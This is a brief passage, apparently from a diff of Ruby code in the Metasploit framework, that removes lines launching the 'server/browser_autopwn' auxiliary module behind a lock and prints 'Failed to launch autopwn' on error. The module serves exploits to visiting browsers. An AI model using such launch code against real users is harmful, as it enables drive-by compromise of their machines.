get_lock - call('module.execute', 'auxiliary', 'server/browser_autopwn', opts) - rescue => e - print_error "Failed to launch autopwn" - return false - ensure - release_lock end end end -end -end